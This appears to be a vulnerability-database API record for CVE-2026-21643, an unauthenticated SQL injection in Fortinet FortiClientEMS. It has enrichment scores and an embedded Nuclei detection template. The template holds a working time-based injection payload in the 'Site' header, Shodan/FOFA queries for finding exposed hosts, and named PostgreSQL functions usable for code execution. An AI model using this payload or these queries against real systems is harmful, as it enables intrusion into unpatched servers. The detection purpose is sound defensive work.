{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-21643/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-21643/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-21643/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-21643/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-21643/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-21643"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-21643"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.94085,
      "kev": true,
      "percentile": 0.99844
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-21643.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2026-21643\n\ninfo:\n  name: Fortinet FortiClientEMS 7.4.4 - SQL Injection\n  author: ritikchaddha\n  severity: critical\n  description: |\n    Fortinet FortiClientEMS version 7.4.4 and earlier contains an unauthenticated SQL injection vulnerability in the /api/v1/init_consts endpoint. The 'Site' HTTP header value is passed directly into the PostgreSQL search_path without sanitization, allowing remote unauthenticated attackers to inject arbitrary SQL commands. This can lead to information disclosure, database manipulation, or OS command execution when chained with PostgreSQL functions.\n  impact: |\n    An unauthenticated remote attacker can execute arbitrary SQL queries against the backend PostgreSQL database, potentially extracting sensitive data, modifying database contents, or achieving remote code execution through PostgreSQL-specific functions (e.g., COPY, lo_import, pg_read_file).\n  remediation: |\n    Upgrade FortiClientEMS to a patched version as recommended by Fortinet. As a workaround, restrict network access to the FortiClientEMS management interface and apply WAF rules to filter malicious Site header values.\n  reference:\n    - https://www.fortiguard.com/psirt/FG-IR-2026-21643\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-21643\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-21643\n    cwe-id: CWE-89\n    epss-score: 0.94085\n    epss-percentile: 0.99844\n  metadata:\n    verified: false\n    max-request: 2\n    vendor: fortinet\n    product: forticlientems\n    shodan-query: http.favicon.hash:-800551065\n    fofa-query: icon_hash=\"-800551065\"\n  tags: cve,cve2026,sqli,forticlient,ems,fortinet,,vkev,kev\n\nhttp:\n  - raw:\n      - |\n        GET /api/v1/init_consts HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        @timeout: 20s\n        GET /api/v1/init_consts HTTP/1.1\n        Host: {{Hostname}}\n        Site: tenant1; SELECT pg_sleep(8)--\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body_1, \"SITES_ENABLED\\\": true\")'\n\n      - type: dsl\n        name: time-based\n        dsl:\n          - \"duration_2>=8\"\n          - \"status_code_2 == 500\"\n        condition: and\n# digest: 4a0a0047304502206365f9395407a9ca6af06f69508a3abb59a77a8b46da45b247547e1fd71bedbc0221009190229f61dcfaf90f7bed6a86dd66d78d6d9cfba95bb87e9580946f8d7c5759:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-21643"
}